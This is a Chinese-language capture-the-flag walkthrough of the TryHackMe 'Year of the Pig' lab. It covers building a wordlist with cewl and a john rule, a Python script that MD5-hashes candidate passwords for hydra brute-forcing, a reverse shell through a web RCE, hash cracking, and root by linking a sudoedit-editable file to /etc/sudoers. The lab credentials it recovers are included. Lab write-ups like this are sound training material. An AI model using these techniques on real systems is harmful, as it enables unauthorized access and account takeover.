THM打靶日寄32-Year of the Pig

• 扫描打点

  

  • 80

    一个博客地址，拿到用户名 Marco

    

    扫到 login.php 随便试个密码，提示密码是一个很重要的单词加上两个数字和一个字符

    

    看了看感觉是 savoia21 ，多试几个字符得到账密：

    Marco:savoia21!

    • 标准答案

      cewl 搜集网页中信息作为词典

      cewl -w list.txt -d 5 -m 5 ip

      再编辑 john 的配置 /etc/john/john.conf：最下面加上自定义规则：

      [List.Rules:tmp]
      Az"[0-9][0-9][!?#$%&/()=]"

      john --wordlist=list.txt --rules=tmp --stdout>pass.txt

      抓包看到提交的密码被加密了，且格式是 md5：

      import hashlib
      with open('pass.txt', 'r') as f_in:
          with open('passwords_md5.txt', 'w') as f_out:
              for line in f_in:
                  line = line.strip()
                  hash_obj = hashlib.md5(line.encode())
                  hash_value = hash_obj.hexdigest()
                  f_out.write(hash_value + '\n')

      再拿 hydra 爆一下

• /var/www 文件泄露横向

  登进去后台有 RCE ，但限制很多，反弹 shell 出来没有回显

  试了下密码复用，用小写的 marco 登进去，发现另一个用户 curtis

  这里需要去 /var/www 找到 admin-db，但发现没权限，看了下发现只有 www-data 能看

  传个反弹 shell 就行

  

  curtis 后面 $32$ 位就是密码的 hash

  cmd5这条要付费，用这个解密，得到账密

  curtis:Donald1983$

• sudoedit 提 root

  sudo -l

  

  搜到这个

  可以用 sudoedit 来编辑这个目录下的 config.php ，将其链接到 /etc/sudoers 然后改 root 密码提权

  

  在里面加上 curtis ALL=(ALL) NOPASSWD: ALL

  出来直接 sudo /bin/bash 就行